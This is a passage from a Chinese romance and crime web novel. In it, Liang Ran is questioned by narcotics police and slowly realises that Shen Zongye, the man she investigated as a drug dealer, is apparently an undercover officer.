他倏然扣住她后颈,不再步步紧退,强势又蛮横地亲吻她,两道错缠的脚步逼进卧室。沈宗野将梁然摔到床上,动作无比粗暴。 他扯过被子,死死将她裹在里面。 梁然完全错愕地望着他,错愕到他这种异于男人的反常让她完全傻眼了,不可置信地睁大眼眶。 沈宗野退到门口,黑色衬衫凌乱,领口纽扣被梁然解开好几颗,他压抑着粗沉的气息,冷冰冰扣着纽扣。 “沈宗野,你真不是个东西!” “你混蛋!”梁然把枕头狠狠砸到沈宗野身上,她不解气,又扔起床头的遥控器。 遥控器砸中沈宗野腹部,他镇定自如,眉峰压着沉冷的眼眸,系好了衬衫纽扣,弯腰捡起地毯上的遥控器。 他冷冰冰带上房门。 …… 新年了,23点59分时,整座城市升起无数烟花,喜庆的烟花声震耳欲聋,落地窗前可以俯瞰这座小城今夜全部的璀璨。 梁然打开房门,她已经穿戴整齐。 客厅里关了灯,她冷冰冰地打开灯。 沈宗野站在落地窗前,修长的背影置在无数绽放的烟花下,有一种孤孓。 梁然看着他,看着那片烟花。 有眼泪滑出眼眶,她这时只是在遗憾她没有继续留下查找证据的机会了,她这时只是在憎恨沈宗野的冷酷。 她关上灯,也狠狠拉上了房门。 所以自然也不曾看到沈宗野转过身,在一片烟花灿烂里望着她的背影,细数着烟花爆破声和他的心跳声谁更轰烈。 …… 新年的第一天,梁然一夜无眠。 这应该是她最不想面对的一天。 沈宗野敲响了她的房门,梁然打开门。 青年依旧是昨晚冷漠的样子,薄唇上结着痂,梁然都不知道昨晚咬到他了。 他淡淡睨她一眼,黑色衬衫的腹部有很多褶皱。 梁然有些诧异,他是坐了一晚上? 沈宗野说:“昨天去东山的事见到任何人都不要说,听到了么?” 梁然不作声。 沈宗野声线更冷漠:“我说昨天发生的事别跟任何人讲,昨天你只是跟我在一块,出门后遇到了姜义,听到没有?” “知道了。”梁然还是想去抱沈宗野,可她刚软下视线,沈宗野已经背过身取下外套。 他穿好外套,慢斯条理摘下手上的沉香珠串,懒洋洋扔到她脚下,又给她微信转来20万。 梁然整个人都是黯淡的。 沈宗野轻飘飘睨着她,扯起薄唇笑了下:“后悔么?” “什么?” “当初接近我。” 梁然看着他的眼睛:“不后悔。” 沈宗野懒洋洋说:“行了,出去别再记得我,过好你自己的生活。” “沈宗野……” 梁然说出他的名字,一颗泪滴落到地板上。 只有梁然自己知道她哭是因为她痛苦没有机会再接近沈宗野查证据了。 沈宗野完全没有停留,也没有看她,他利落地转身,走出这扇门。 被摔上的房门隔绝了青年修长的背影。 梁然缓缓蹲下,有些无力地抱住手臂,埋在膝盖上的脊背轻轻颤抖。 多可惜啊,她差一点就要触碰到证据了。 手机铃声将梁然拉回现实,她擦干眼泪接听。 还以为是梁悦呢,电话竟然是林甄打来的。 “梁然,你在哪儿?” 新年的第一天,林甄竟不是打来电话祝贺梁然新春快乐,他的语气少有的严肃,似乎也很紧张。 梁然大脑里有什么念头闪过,突然才反应过来梁悦昨天一整晚都没有给她回过信息。 “怎么了,我在宁城,是不是……” “梁悦失踪了,我来接你,我已经到了宁城机场。” 梁然猛地起身,不顾一切冲出房门,又想起忘记穿上外套,地板上还有那条沉香珠串。 她慌张地返回房间穿好外套,跌跌撞撞冲出酒店,直奔机场。 被恐惧包围的她自然也没有留意到一路跟在她身后的黑色汽车。 沈宗野坐在车上,看着梁然坐的出租车一路到了机场。 谢天明昨天接到他电话后,一早就开车过来接他了,谢天明将车缓缓停下,也看着远处。 人来人往的航站楼外,冲下出租车的梁然和等在航站楼外的林甄汇合,看起来她全身情绪都是紧绷的,红肿的眼眶里满是忧心和恐惧。 谢天明心情很复杂,昨晚也知道了梁然的身份,他远眺着,有些动容:“如果这种家属再多一点,抵制毒品的工作也好做很多。” “她好勇敢啊,跟我们呆这么久是怎么过来的啊?估计每天都在提心吊胆吧。” 沈宗野的手机响了,他接听起电话,是王局。 王局在问他梁然的事,沈宗野一直听着,他望着航站楼外的青年,青年同样挺拔、高大、时时刻刻注视着梁然,接过梁然的包。 王局问完了,沈宗野也回答完了,他忽然说:“叔,我这根手指跟梁幸均没关系。” “呵,你还挺会为受害者家属减轻心理负担。”王局虽然是在冷笑,但也算是听懂沈宗野的意思。 沈宗野如常地问:“来接梁然的林甄和她是什么关系?” “好像是梁然的前男友还是现男友,难怪人家当初要暗查你一个月。”王局说,“好了,专心工作,现在是你们的非常时期。” 沈宗野结束了通话,他下意识拨动手腕,但右手空空,那串沉香已经不在了。 …… 最快的航班落地南城,梁然冲在最前头下飞机。 三个小时的航程对她来说度日如年,她做出的所有努力都是为了梁悦能安全地生活,现在梁悦的失踪对梁然来说完全是天塌地陷。 只是林甄和他的朋友走得不算快,甚至脸色也没有梁然着急。 梁然冲在最前面,直到被林甄扯住胳膊。 他眼神指了指人来人往的出口处那两名便衣男女。 “梁然,别担心,梁悦没有失踪。” 梁然愣住。 “那是南城的警察,他们来接你,我去宁城也是受局里指派特意过去把你带回来。” 梁然心脏突突地跳着,好像有些明白发生了什么。 她居然现在才看明白林甄是跟朋友一起来的,这个朋友她虽然没见过,但不难猜测也应该是一名警察。 两名警察,是来办案。 而这一趟林甄特意来宁城办的案子就是她。 “抱歉,我不得已用梁悦把你先骗回来,把你带回南城是总局的命令。”林甄嗓音难得的柔和,“先跟他们走吧。” 梁然被那两名便衣警察带上了车,来到南城的禁毒总局。 这是梁然第一次坐在审讯室。 端坐在对面的中年男人严肃又犀利,几乎是将她从头到脚审视了一遍,旁边坐着的年轻警察也很严肃,但眼神倒没有中年男人那么锐利。 审讯梁然的是沈宗野直线联络的上级王有为,也可以说是沈宗野拜托王局把梁然带回南城审讯,至少在南城沈宗野有能力为梁然的过失刑责作证。 她犯了阻碍人民警察执法罪。 甚至再严重一点,需要对她展开彻查,通过她的行为来给她定罪。 王有为说:“知道为什么坐在这儿吗?” 一夜未眠的梁然脸色有些疲惫,素颜的皮肤白净通透,她的眼神清晰冷静,虽然对未知的一切有正常的担忧,但是也依旧坦荡。 “不是很明白。” 王局有些笑了,他冷笑一下说:“七月到今天,在宁城,你做了什么自己不知道?” “你犯了阻碍人民警察执法的罪,阻碍了我们隐蔽线上的卧底警员,现在我问你的每一句,你都必须如实回答。” 梁然错愕了好久。 她以为是这些警察把她当场了毒贩,没想到是因为这个。 大脑里天翻地覆,所有片段像放电影一样在眼前浮现,尤其是前天那份不知名的快递文件袋,那朵绿色的四叶草。 第69章 第69章卧底警察 原来真的有卧底警察在沈宗野身边,在那桩案子里。 梁然有些想哭,她忍着眼眶里的湿意:“我明白了,对不起。” 她在这时甚至没有想过沈宗野为什么会放她安全地离开,甚至没去思考过沈宗野那些话里的深意。 王局问完了很多提问,梁然都如实作答。 “我叫梁然,24岁,接近沈宗野是我在我爸爸的相机里看过他的脸,又亲自遇到过他,对他印象深刻,我知道他在贩毒,才做了接近他的决定。在宁城留下的每一天我几乎都在他身边,他跟贩毒的董自新确实有来往,他是董自新的手下。” “我有用我自己的方式留下过证据。沈宗野有好几名马仔,其中叫云肖和李浩的两个人最狠毒,李浩也在吸毒,还差点侵犯我,沈宗野的手段很残忍,他身上还有枪……” 王局问:“你用什么方式留下证据?” 梁然说:“我每次得到有用的证据都会封存在信封里,通过邮寄的方式寄回我南城的地址,邮戳上的日期可以为我作证。” 王局要看这些信件,梁然报出了地址和门锁密码。 审讯继续进行。 梁然问:“你们的卧底警察代号叫做四叶草吗?” 王局示意梁然说下去,梁然把她收到的那封信讲完。 王局脸色严肃:“你确定他自称是我们警方的卧底?” “不确定,他在信里也没有说是警方,他留的署名就是‘一个卧底’。” 梁然要了纸笔写出当时A4纸上的内容,画下那朵四叶草。 王局脸色不好看,详细地追问她潜伏在沈宗野身边的阶段,觉得谁会是这个四叶草。 梁然倒有些意外了:“难道他不是你们的人吗?” 王局没讲话。 梁然分析:“我在猜想可能是沈宗野身边的大鱼,他叫李大宇,对我透露过沈宗野很多事情,我觉得他有嫌疑,但我试探过他,他又没有表现出来……”她又分析了两个人,年轻的警员严肃记着笔录。 重新回到沈宗野身上,梁然说:“沈宗野真的是一个罪大恶极的人,他对自己人也这么狠毒,你们的警员安全吗,这个案子还要多久啊?” 王局只是严正地问梁然:“你和向邬道是什么关系?” 梁然认真地回答。 “姜义认识吗?” 梁然说认识。 “昨天姜义怎么对付沈宗野的,又是否与你有联系?” “当然跟我没联系,昨天原本是……”话到嘴边,梁然忽然止住,那句“昨天原本是我把沈宗野引入向邬道的陷阱中”卡在了喉咙。 她忽然想起了沈宗野早上说的话。 他说“昨天发生的事别跟任何人讲,昨天你只是跟我在一块,出门后遇到了姜义”。 梁然猛地抬起头:“你们的卧底警察是谁?” 王局没回答她,严厉地说:“请你如实交代。” 梁然心脏跳快,一个绝不可能的念头闪过脑海,沈宗野的脸也浮现在她脑海。 他拼尽全力从姜义的匕首下救她,奔向她的那瞬间,他折弯膝盖滑跪过来,双臂接住她,将她带离死亡的边缘。 昨天晚上他去浴室里洗澡时,她站在门口堵他,他在拒绝她,可她还是闯入了他的吻里。他那么热烈地吻她,那么动情……他完全不再像个伪装的假人,充满了真实的血肉,可他把她丢在了房间里。她甚至都忽略了他亲吻她时发红的耳朵,脖子上强忍的青筋,还以为那些都是情绪波动导致的。 今天早上,他给她转来20万,冷漠地告诫她昨天东山的事别告诉任何人,他懒洋洋问她后悔接近他么,他说“出去后别再记得我,过好你自己的生活”。 这一幕幕全都吞掉了梁然全部的理智,她有些错愕,睫毛在颤动,眼神那么不可置信,她想求证。 “你们的卧底警察……是沈宗野吗?” 王局没回答她的话,严肃地问她:“你跟姜义到底有没有关系,昨天的事件到底跟你有没有牵连?你有没有参与?” 如果梁然说昨天是她把沈宗野引过去的,不管沈宗野是不是这个卧底警察,她都涉险违法。 她忽然想不明白为什么沈宗野要这样叮嘱她。 他说的是任何人。 这一刻,梁然忽然第一次凭直觉选择了信沈宗野一次。 “没有,跟我无关,我也在调查姜义,我是受害者,他劫持了我。” 梁然忽然想起两个月前,在酒店里,沈宗野用道具帮了她。 他站在落地窗前,宽肩挺立,背影却那样孤勇。 她好像想明白了他一次一次对她的拒绝,又一次一次对她的保护。 她浑身抑制不住地颤抖,手指苍白地交握。 她好像,真的明白了。 …… 审讯一直持续到深夜。 第一个24小时不会让梁然好过。 沈宗野有给王局打来电话,问候王局:“春节快乐。” 王局冷笑:“祝我快乐?那我谢谢你啊。” 沈宗野说:“吃饭了吗?” “你是想问我吃没吃饭,还是想问梁然吃没吃?” 沈宗野说:“当然是问你。” 但是王局答:“吃了,给梁然在食堂打了饭。” 沈宗野看着窗外,雪仍未化,小区楼下的花园里有小朋友在放烟花棒,兴奋地过着年。 王局说:“梁然交代她前天收到一封匿名快递,有人告诉她让她离开,落款是‘一个卧底’,纸上留下一朵四叶草。我会去查一下是不是其他省份的战友,你那边如果有线索也及时汇报,和小谢注意安全。” 沈宗野有些诧异,严肃听着。 “梁然猜到是你了。” 沈宗野一时有些沉默。 他和梁然相处这么久,知道她脑子不笨,她离开以后有可能会猜到卧底警察是他,只是没想到会这么快。 “她说想给你打个电话,我没允许。她有只猫还关在屋里,想请你养,她的公寓也不是租的,是她全款购买的,说如果办案有需要她可以无偿提供。” 挂了电话后,沈宗野按王局说的密码打开了梁然的公寓。 葡萄一溜烟窜到他身上,小爪爪扒拉着他裤腿。 沈宗野捞起葡萄,小猫关坏了,疯狂地对他闻闻贴贴,舔他脸,喵喵叫着,好像在问他它的主人为什么还不回来。 餐厅的桌上摆着满桌的除夕年夜饭,全部凉透了。 沈宗野看了眼滑滑梯,抱着葡萄坐着滑了一次。 谢天明走进来。 看了他好一会儿,说:“哥,你是不是喜欢上梁然了?” “没有。” 沈宗野单手捞起葡萄,另一只手拎起猫舍:“先拿过去养几天。” 葡萄在沈宗野的公寓里很调皮,只是到了晚上它格外乖,平时都是钻进梁然被窝里被香香软软的主人搂着睡的,它在沈宗野这里也不例外,晚上钻进了沈宗野的被子里。 沈宗野睡觉习惯浅眠,有葡萄在,他不怎么睡得好,但小猫很乖,喵呜叫了一声就不吵他了,贴贴他肩膀,在他手臂里眯起觉。 沈宗野原本以为他会失眠,但竟很快也睡着了。 小猫身上很干净,也沾着香,他知道是梁然身上的香味,这股香水的气息他已经很熟悉。 第二天依旧是个阳光晴朗的好天气。 沈宗野早上接到徐川的电话,董自新已经处理了向邬道安插在身边的眼线,但是向邬道已经不在国内,这事作罢。徐川让沈宗野自己注意安全。 沈宗野在等董自新安排他接触轻松一号的生意,董自新回宁城应该是陪老母亲过年,沈宗野已经等待了一年,这漫长的时间他不怕被浪费,如今身边没有梁然了,他不用再去演那些亲密的伪装,应该更放心大胆才对。 「云上人间」的生意在新年里格外好。 沈宗野带人过去消费,接到一个快递电话,说有他的快递。 沈宗野说:“我不在家,放快递柜吧。” 洗完澡,沈宗野系着浴袍去了楼上的棋牌室准备和云肖他们打牌。 他一身慵懒的浴袍,走出电梯时有五六个女生在前台让服务生调房间,几人都看到了他,眼睛有些直。 几个女生推推嚷嚷,其中一个卷发女生走上前问沈宗野:“嗨,帅哥,你们在哪个房间啊?” 谢天明又有点看好戏的意思了,好笑地瞧沈宗野。 沈宗野懒洋洋地:“前面右手第三间。” “好巧,我们在第四间,你们打不打麻将啊?” 沈宗野懒漫地点头。 “那我们凑两桌?介意一起玩吗?”女生有些期待,意图再明显不过。 徐川从尽头的过道里出来,远远朝沈宗野用眼神打了个招呼。 沈宗野对女生弯起薄唇:“好啊,一起玩。” 他玩了一夜的牌,直到凌晨四点时女生熬不下去,约他要不要一起去顶楼开个房。 沈宗野直勾勾盯着对方,用非常动情的眼神:“好啊。” 谢天明知道沈宗野的意图。 但是云肖他们不知道,他们并不觉得沈宗野是那种重欲的人,如今可以主动接受这些上赶着的女人,多半是因为玩过梁然身材那么好的女人后,一时戒不掉欲望。他们所有人都以为是这样。 谢天明也附和云肖他们笑,只是默默地在沈宗野隔壁开了间房,直到一个小时后沈宗野出来,进了他房间里。 谢天明:“都做什么了?” “还能做什么,我想喝点酒,那个女生酒量不行,睡着了,你看着点,别弄出什么事。”沈宗野表情很淡,他是非常不喜欢应付女人的。 他只是知道徐川在看着,董自新也会知道。 他不能让梁然成为他们的目标,他想在身边多换几个女人,时间一久,梁然自然会变作过去式。 梁然接近他时太莽撞了,用了真实的身份,向邬道早就知道梁然,董自新如果真想查是很容易的事。 梁然不知道她卷进这个旋涡太深了,他必须要把这些毒贩全部抓捕归案。 沈宗野没再留下去,回了公寓,才想起来还有快递要取。 他在快递柜里取出来,面单上印着昨天那家酒店的地址,沈宗野有些发怔。 第70章 第70章沈宗野,你是警察吗?…… 回到公寓,葡萄欢快地喵喵叫了好几声,直接踩到了他床上窝着。 沈宗野拆开快递,预料之内,是那串沉香。 木质圆润的沉香珠串中穿插着六颗翡翠珠子,搭配着白金和黄金隔珠,将那一片珠宝光气和木质低调融合得很高级,那六颗翡翠像玻璃,灯光下折着蓝色的寒光,其中一颗原本在和老万打斗的那天晚上磕出了裂痕。 现在,这一颗的纹裂旁又添了一条平行的裂。 沈宗野紧抿薄唇,一颗一颗拨着珠子。 他早已经习惯了这个动作,起初是为了伪装那股神秘莫测的高深和恣意,后面竟成了肢体的习惯。 他重新戴回手腕上,打开微信。 给梁然的转账已经过了24小时自动失效了,沈宗野重新转了一遍,然后摁灭手机,回房间揽过葡萄睡觉。 …… 对梁然的审讯不止24小时。 她被拘留到第三天。 三天里每天都在交代他们询问的细节,确定她是否有犯罪行为,是否和毒贩有过勾结。 梁然之前寄回来的那些信成为她最大的证明,当然最重要的,是沈宗野的证词。 第三天,梁然最后寄出的两封信终于收到了。 但是在王局拆开信件时,梁然说信不对。 “我的信被人打开过!”梁然仔细查看封口处,“我的信有拆开过的痕迹,你们看!” 王局凭经验也能看出来信被拆过。 “你觉得会是谁拆过你的信?” 梁然想不到。 她觉得不太可能是沈宗野,他如果是一名警察,在拆开信时就会发火让她走。 这几天,梁然问了很多遍沈宗野是不是这名卧底警察,但是王局只字不提。 梁然得不到答案,一遍遍去回忆和沈宗野的点滴,而这种回忆越多,她越会觉得自责,好像还有一股堵在心口的难受。 沈宗野好像是一个十分孤独的人。 如果他真是一名卧底的缉毒警察,那么像医院那晚,他蛰伏在黑夜里现身抓捕老万,对他来说很熟练——他也许永远都在那样一团不见天光的黑暗里头。 梁然不敢走神,继续回想到底会是谁拆过她的信。 她忽然想到了陈沥周。 “那几天陈沥周跟踪过我,前天我已经说了,他看过沈宗野跟一个泰国人在一起,他很认定沈宗野跟那个人一起在贩毒,当时也误会我在包庇沈宗野的行为。” “有没有可能是他跟踪我了,然后看到我去寄信了。” 梁然说完,对王局说:“要我打电话试探他吗?” 王局沉吟了下,给了她手机。 梁然已经有接近三天没看过手机了,这三天除了中途给梁悦打过一个电话摸了一下手机,她还没仔细登陆过她的社交账号。 她很想联络沈宗野。 但两个警察盯着,梁然只能打开拨号界面联络陈沥周。 陈沥周接听了她的电话,他的语气已经没有最初对她的失望和厌恶,而变得正常起来。 他说:“你回南城过年了?” “嗯,你还愿意接我电话。” “我想了下,我还是希望你完成我妈妈的园林。”陈沥周好像有些小心翼翼地询问梁然,“我之前太冲动了,我想向你道歉,再把设计委托给你,将赔款双倍汇给你,可以吗?” “梁然,你接受我的道歉吗?” 梁然抬眼,望着对面同样很严肃的王局。 她继续说:“谢谢你,我们是朋友。” 陈沥周如释重负,嗓音里终于有笑意:“是我谢谢你,还有,对不起,当时太冲动,对你发脾气,是我的错。你还会来宁城工作吗?” 梁然说:“不会了,我和他分手了。” “你的决定是对的。”陈沥周嗓音低沉,“梁然,希望你好好过这个年,不要背负着任何压力,也许你的事自会有人为你做到。新年快乐,我会来南城看你的。” “新年快乐。” 挂了电话,梁然看着王局:“……也许四叶草是他?” 毕竟陈沥周的态度转变得太突兀了,最后那句话也像意有所指。 梁然说:“他是一个很好的人,昨天我已经交代过他妈妈也是被毒贩所害,也许他知道劝不走我,才假装成卧底写了那封信?我可以直接问他吗,我相信他。” “不可以。” 梁然觉得他们这些缉毒警察谨慎的似乎有点过头了。 她继续配合着他们的审问。 …… 多云的南城今天是难得的晴天,到下午,梁然终于从审讯室里出来。 乔思嘉和江凛等在门口接她。 见到梁然,乔思嘉紧紧把她抱住:“吓死我了,我以为你出什么事了!” 梁然阻碍缉毒警察卧底查案是保密的,乔思嘉当然不知情。 警方只是说梁然看到有人吸毒,见义勇为举报,在配合他们查案。 不过江凛是一名刑警,可能会猜到一些。 梁然笑了笑:“我没事。”她看向乔思嘉身后的青年,确实很高大,肩宽腰长,脸也英气,是乔思嘉以前磕过的类型。 他迎上梁然的视线说:“有什么需要我帮忙的吗?” “没事了,一桩小事。你是江凛?”梁然笑,“传闻不如一见。” 江凛看了眼乔思嘉,浮起笑:“什么传闻?” 梁然只和乔思嘉对上默契的眼神,两人走在前面上了车。 乔思嘉说:“宁城的项目赶紧都丢了吧,我不需要你一个人在外面打拼,早就叫你回来的。” “嗯,以后没有机会去了。” 梁然出来时,王局就严厉地警告了梁然在没结案前她不可以再回宁城。 乔思嘉和江凛要开车将她送回怀城,梁然想自己坐高铁,但乔思嘉担心她被吸毒的人盯上,说有江凛在就没人敢动她们。 江凛开着车,梁然和乔思嘉坐在后排,她像是随口问:“你们跟禁毒局的人熟吗?” “还好,有几个好朋友。” “你认识一个叫沈宗野的人吗?” 后视镜里,江凛脸色平静,掀起眼皮看了镜子里的梁然一眼:“不认识。” 梁然迟疑了片刻:“像禁毒局里冲在第一线的缉毒警察是不是很危险?” “是的,你看过统计么?缉毒警察的平均寿命只有41岁。” 乔思嘉疑惑:“你和然然说这些做什么?” 梁然:“随便聊聊。” 新年的高速车流稀少,汽车疾驰在平稳的宽道上。 梁然:“如果一个卧底警察查一个案子,大概需要多久?会有生命危险么?” 江凛说:“时间没有定数,会有生命危险。还有,以后这些话你别再问其他人。” “江凛你今天吃错药了,你对我闺蜜这么凶干嘛!亏然然刚刚还夸你。” 梁然淡淡抿唇:“没事,第一次进警局配合他们查案,印象太深刻了,我只问过你这些,不会问其他人。” 乔思嘉和江凛斗起嘴。 梁然也才发现江凛是很稳重的性格,虽然话不多,但对乔思嘉说的乱七八糟的话都要接上一句,确保乔思嘉的话不会递空。这一路这样聊着,两个小时的车程也过得很快。 梁然回到老宅,梁悦不在,被林甄的妈妈拉去隔壁玩耍了。 张姨和女司机在家,宽敞的三层别墅是梁幸均年轻时设计的中式装修,高雅富丽,依旧没有过时,但是这么豪华的房子太过空荡了,再也没有男女主人坐在茶室里默契的谈笑声。 梁然新年突然回来,张姨实在太高兴,连忙去隔壁叫梁悦。 梁然走到露台,阳光打在她身上,南城只有微风,花园里的龙沙宝石爬满了绿色藤叶,早樱已经开了满树。 一切春光明媚,没有宁城冰冷的雪,没有宁城掉落树叶的秃枝,没有凛冽强劲的风,她重新回到了只有微风的城市。 她终于有单独的时间打开微信。 列表里有无数的新消息,置顶的沈宗野也冒着红色数字6,提醒她有六条新消息。 梁然快速点开。 是沈宗野的转账。 一笔20万的转账在这三天里连续三次转过来,又超时被系统退回,所以才显示六条新消息。 梁然打下文字,手指有些犹豫,最终还是按了发送。 「沈宗野,你是警察吗?」 可这条消息挂着红色感叹号,系统提示沈宗野已经将她删除了。 …… 梁然突然回来给了梁悦好大的惊喜,她怪梁然没提前告诉她,春节那天晚上的消息也没有回她。 林甄在接到总局电话的时候就想了办法让梁悦配合他,所以梁悦只以为是林甄将梁然从繁重的工作里解脱回来。 姐妹俩终于在新年里团聚,气氛只有久违的愉悦。 梁悦像只小喜鹊一样叽叽喳喳,聊起班里搞笑的同学,聊起她新发现的一家商场夹娃娃很好抓,聊起她的成绩,又问梁然在外面有没有谈恋爱。 梁然说:“没有,我说了要等你长大。” 梁悦很感动,她既怕失去梁然,又怕她自己困住梁然。 “姐,如果你遇到合适的可以尝试一下嘛,不用管我的。”梁悦说,“我觉得林甄哥哥就很好……” 梁然垂着眼睫:“我像回头的人么。” 她的眼睛很温柔,梁然所有的温柔都给了梁悦,说完这句,她抬起头去看门口的张姨,但林甄正好站在门口。 梁然收起笑,恢复以往的平静。 她一向很清冷,对不喜欢的人和事连敷衍的淡笑都甚少。 这倒让梁悦尴尬极了,毕竟搬回老宅的这小半年林甄照顾了她不少。 梁悦尴尬地起身说约了苏奶奶家的孙女滑冰,一溜烟滑出大门。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 第71章高攀不起 梁然起身说:“吃过饭了么?” “吃了。” 梁然:“一起走走?” 林甄点头。 梁然披了件大衣出门。 老宅是很多年前的独栋别墅小区,梁然从小在这里长大,对每一条路都很熟悉,他们挑了一条清净的路散步。 “这次的事谢谢你,还有我挺感激阿姨对悦悦的照顾。” “客气了,我妈邀你明天到我家吃饭,你有空吗?” “可以啊,我也想正式去谢谢阿姨。” 林甄插着兜,放慢的脚步跟随着梁然的步伐。 梁然说:“我这次是不是闯了很大的祸?” “对你的安全来说是,对案子应该影响不大。”林甄虽然没有过问这次的事,但他凭着职业嗅觉知道梁然在宁城是去查毒贩了,“你胆子也太大了,下次不许再这样了。” 微风迎面吹来,南城的气温没有宁城那么冷,空气湿度也让梁然回到了舒适的体感状态。 她的手揣在大衣口袋里,缓慢的脚步像带着心事,她问林甄:“你不问我是去查了谁,你知道?” 林甄想了下:“沈宗野吗?” 毕竟当时梁然一直放不下的就是梁幸均相机里的这个青年。 梁然点头:“他真的是卧底的缉毒警察吗?” 林甄是很想帮助梁然,但在这种事情上还是保持着严谨的职业素养,说:“我也不清楚。” 梁然虽然很想确定这个答案,可又有些不明白她反复去确认沈宗野是不是警察有什么意义? 是觉得愧疚? 她想,应该就是因为愧疚吧,毕竟当初她那么恨沈宗野,甚至还想带他进入他对手的陷阱里面,现在知道真相,她心情确实很糟糕,觉得对沈宗野的恨意都变成了愧疚,这种感觉的扭变让她一时有些无法承受。 林甄问:“小真,你这次有受伤吗?” 梁然摇头。 林甄没有说话,梁然读懂了他眼睛里的担忧,他应该是想问她和沈宗野到哪一步了。 梁然说:“这次的事确实是我冲动,我给他们局提供一点经费支持吧,这个行为算弥补么?” “你觉得安心就好。” 梁悦和小伙伴踩着溜冰鞋冲过来,远远就朝梁然张开双臂,哈哈大笑:“姐,接住我——” 梁然连忙张开手臂,梁悦大笑着扑到她怀里。 南城的白昼悠长,夕阳落得慢悠悠,在天边染开玫瑰色的水彩,不像以北的宁城白昼那么短暂,此刻已经是华灯初上的夜晚。 沈宗野借由汇报案情给王局去了电话。 他说完案子,像随口地问:“梁然放了?” “下午放了。你不会是特意打电话来问我放没放人吧?”王局冷哼,“你别告诉我你崽子喜欢上人家了?” “当然不是,她的猫在这里,既然放了我就把猫寄过去。” “让她走了,她朋友来接的,罚了两百块钱,让她带了《刑法》和《毒宣手册》走了,她也算配合。从她给她自己寄的信里可以看出来她思维缜密,胆子这么大,要干我们这行就好了。”王局的感慨也只是一瞬间,他语气忽然有些严肃,“她傍晚给局里打来电话,问我们的账户,要给我们捐经费,两千万。” “小崽子,她是留学回来的白富美,一般人高攀不起的。” 葡萄在闹,沈宗野单手捞起小猫,淡淡掀起眼皮:“说这个做什么,陈沥周的档案查得怎么样?” 因为梁然的关系,陈沥周可能盯上了沈宗野,局里怕这样对沈宗野查案有阻碍,在查陈沥周的信息。 电话讲完了,葡萄也不闹了,乖乖去猫舍里抓玩具啃。 窗外的雪仍未化,夜里吹起凛冽的风,楼下有人经过,单薄的小女孩太冷,一溜烟跑进对面亮着暖灯的楼里。 沈宗野想起他生日那天晚上,梁然在楼下站了很久,不知道那晚的风有多冷。 他打电话去查梁然时正逢除夕,局里忙着一个案子,全出去抓毒贩了,梁然的身份才确认得晚了。 沈宗野在检讨他的不称职,如果他早一点发现梁然不是向邬道的眼睛,早一点去查她,她也不用经受李浩带给她的恶劣,他也不会把她晾在冷冰冰的风雪夜,让那晚的雪覆了她一身。 宁城的夜太黑了,暗无天光的黑。 他在这条隐蔽线上藏得太久,竟习惯了把身边的人都看作这黑。 等案子结束,他也想好好站在阳光下,站在南城悠长的白昼里。 …… 愉快的春节在轻松的氛围里过得很快,梁然还特意多抽了几天时间陪梁悦,才返回南城的工作室。 她们的工作室在南城核心商圈的写字楼,Loft结构的办公环境,室内装修都是梁然和乔思嘉的亲笔设计。梁然很久没有回来上班,员工多了六名,所有人都在欢迎她回归。 梁然微微抿唇:“谢谢大家,开工大吉,新年红包。”她让助理把她的开工红包分发下去,大家又热情地说谢谢梁总。 梁然的办公室在二楼,她来到楼上,桌上多了一捧玫瑰,乔思嘉送的。 乔思嘉来到她办公室:“你发的红包是多少的?” “跟你一样。” 乔思嘉好笑地抱着手臂靠在门上:“你都好几个月没回来了,万一我大发善心,不,我心机贼深,红包发得比你多呢。” “我觉得你的原则不会轻易改变。”梁然掀起眼皮,“你这么抠。” 乔思嘉对她翻白眼。 工作第一天,助理就接到陈沥周助理的电话,他要继续与梁然合作,并且把违约款双倍退了回来。 梁然已经不想再和宁城有牵扯了,那天那位王局很严厉地命令她在案件未结之前不可以再去宁城,而她也已经给了他们一笔有诚意的捐款,她心里的愧疚算弥补了。 至于那些证据……如果沈宗野不是害过她爸爸的毒贩,那董自新、向邬道这样的人对她一个普通市民而言,她可以痛恨,但不会再去冒着风险亲自插手。 助理汇报完,梁然正想把电话拨给陈沥周,陈沥周已经先一步给她来了电话。 “梁然,希望你能接受我的歉意。” “我以为你是一个成熟稳重的人。”对梁然来说,陈沥周这种行为真的幼稚了。 梁然转着手上的电容笔,淡淡说:“我不想来回给你再汇款,既然你定好了主意,那就请陈总履行我们的合约,不要再轻易变更。” “这次我是认真的。”陈沥周说,“看到你远离了不好的人,我为你高兴,也放心把设计委托给你。” 不好的人。 梁然其实很想问陈沥周,那封落款四叶草的信是不是他寄的,她犹豫了下:“你微信在线吗?” “在。” “等我一下。” 梁然戴上蓝牙耳机,快速用平板画出一朵四叶草。 她发送给陈沥周:“你看到了吗?” 电话那头有一瞬的沉默。 陈沥周:“你是因为它才决定离开的宁城吗?” 当然不是。 但梁然说:“是的。” 陈沥周终于笑了:“看到了,它给你带来了幸运,希望接下来的路也给我带来幸运。” 果然是他。 陈沥周拆了她的信,她在他面前已经没有秘密了。 但是她那些信通篇所指都是沈宗野,现在变成这样,让陈沥周更加误会沈宗野,她是不是给沈宗野制造了麻烦? “陈沥周……” 梁然想说的话忽然又停下,她知道王局为什么不让她直接问陈沥周,因为他们不可能暴露沈宗野的身份。 “梁然?你想说什么,直接告诉我,我在。” “你可不可以不要再去查了?” 陈沥周顿住:“这是我自己的事,你别担心。你放心,我不会牵连你,我会保护你。” 乔思嘉走进梁然的办公室,梁然没有再和陈沥周说下去,摘下了耳机。 “你这什么表情,和谁打电话呢?” “陈沥周。” 乔思嘉更觉得梁然和陈沥周有感情纠葛,她正好就是为了这件事来。 “姓陈的又把钱打回来了,还多给了两千万,他有钱了不起吗?你俩到底怎么回事,难道是你从宁城回来了,他失去你痛彻心扉终于醒悟了,来跪求你原谅?” “我走这几个月,你没少看言情小说吧。” “说对了,现在你该让他进火葬场了啊,别轻易原谅他!” 梁然没解释,乔思嘉更把想象力发挥到了极致,说要介绍江凛的同事给梁然认识,主打一个让渣男悔不当初。 回归工作的第一天,梁然的生活恢复了从前的节奏,今天一天都在忙里偷闲中度过。 下班时,她接到一个快递电话,对方进不来电梯,请她下楼去签收一下。 梁然很意外,这个快递是葡萄。 小白猫在一只透气性很好的篮子里,里面猫砂和玩具都齐全,葡萄终于见到梁然,开心得想窜出笼子,小脑袋磕了好几下。 梁然连忙将它抱出来,葡萄伸出小粉舌头疯狂舔她手指和脸,开心得咕噜咕噜。 梁然笑起来,狠狠吸了吸葡萄。 小猫身上香香的,穿着浅蓝色的小裙子,两只耳朵附近戴着珍珠发卡,脸好像还胖了一圈,比从前更可爱了。 这一看就是被精心照顾过。 